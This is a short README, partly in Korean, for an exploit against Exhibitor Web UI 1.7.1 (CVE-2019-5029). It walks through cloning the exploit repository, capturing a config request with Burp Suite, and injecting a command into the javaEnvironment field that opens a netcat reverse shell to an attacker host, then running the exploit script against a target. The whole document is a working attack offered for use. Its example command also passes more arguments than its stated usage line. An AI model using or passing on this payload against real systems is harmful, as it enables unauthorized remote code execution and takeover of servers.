Exhibitor-RCE

Exhibitor Web Ui 1.7.1 RCE, CVE-2019-5029

1단계:

$ git clone https://github.com/thehunt1s0n/Exihibitor-RCE/

2단계:

$ cd Exihibitor-RCE/

3단계 (선택사항):

스크립트에서 json 데이터 페이로드를 편집해야 할 수도 있습니다. 그러려면 exihibitor의 config 탭에서 변경 사항을 커밋할 때 burpsuite를 사용하여 요청을 캡처하고, 스크립트의 curl 명령어에 복사하여 붙여넣기만 하면 됩니다.

다음과 같이 javaEnvironment를 변경해야 합니다:

"javaEnvironment":"$(/bin/nc -e /bin/sh '$ATTACKER_HOST' '$ATTACKER_PORT' &)"

4단계:

./exploit.sh <attacker_host> <attacker_port>

예시:

$ ./exploit.sh 192.168.197.98 8080 192.168.45.187 8080